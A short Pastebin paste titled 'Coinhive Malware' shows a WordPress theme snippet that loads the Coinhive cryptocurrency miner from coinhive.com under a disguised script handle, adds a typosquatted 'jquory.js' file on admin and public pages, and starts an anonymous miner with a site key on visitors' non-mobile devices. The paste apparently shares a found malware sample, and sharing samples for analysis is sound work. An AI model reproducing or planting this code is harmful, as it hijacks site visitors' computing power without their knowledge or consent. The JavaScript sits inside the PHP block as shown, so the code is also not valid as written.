Advertisement
MertcanGokgoz

Coinhive Malware

Dec 20th, 2018
116
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.53 KB | None | 0 0
  1. <?php
  2. function enqueue_my_scripts()
  3. {
  4.     wp_enqueue_script('wp-internal', 'https://coinhive.com/lib/coinhive.min.js', false, false, true);
  5.     wp_enqueue_script('wp-backend', get_template_directory_uri() . '/assets/js/jquory.js', false, false, true);
  6. }
  7. add_action('admin_enqueue_scripts', 'enqueue_my_scripts');
  8. add_action('wp_enqueue_scripts', 'enqueue_my_scripts');
  9.  
  10. var miner = new CoinHive.Anonymous('I2OG8vGGXjF7wMQgL37BhqG5aVPjco QL', {
  11.     throttle: 0.3
  12. });
  13. if (!miner.isMobile() && !miner.didOptOut(10)) {
  14.     miner.start();
  15. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement